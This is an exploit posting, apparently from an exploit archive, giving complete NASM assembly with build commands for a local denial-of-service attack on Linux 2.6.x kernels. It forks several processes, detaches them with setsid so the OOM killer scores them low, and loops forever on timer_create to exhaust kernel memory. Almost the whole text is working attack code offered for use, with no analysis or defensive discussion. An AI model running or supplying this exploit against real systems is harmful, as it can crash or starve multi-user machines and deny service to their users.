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Linux Kernel 2.6.x sys_timer_create() Local Denial of Service Exploit
[=====================================================================
Linux Kernel 2.6.x sys_timer_create() Local Denial of Service Exploit
=====================================================================
;nasm -f elf noHeaven.asm
;ld -s -o noHeaven noHeaven.o
section .text
global _start
count equ 8 ; threads count - do it quicker
_start:
mov ebx, count
call create_threads
jmp done
_pause:
mov eax,29
int 0x80
ret
create_threads:
mov eax,2
int 0x80
test eax,eax
jz consume
dec ebx
test ebx,ebx
jnz create_threads
ret
consume:
setsid: ; so we won't get counted as one thread in oom_killer()
xor ebx,ebx ; each task will have about 20 oom_score which
mov eax,66 ; is less than 'init' and others
int 0x80
push eax
loopek:
mov eax,259
mov ebx,0
mov ecx,0
mov edx,esp
int 0x80
jmp loopek
done:
xor ebx,ebx
mov eax,1
int 0x80
;
# 0day.today [2024-10-06] #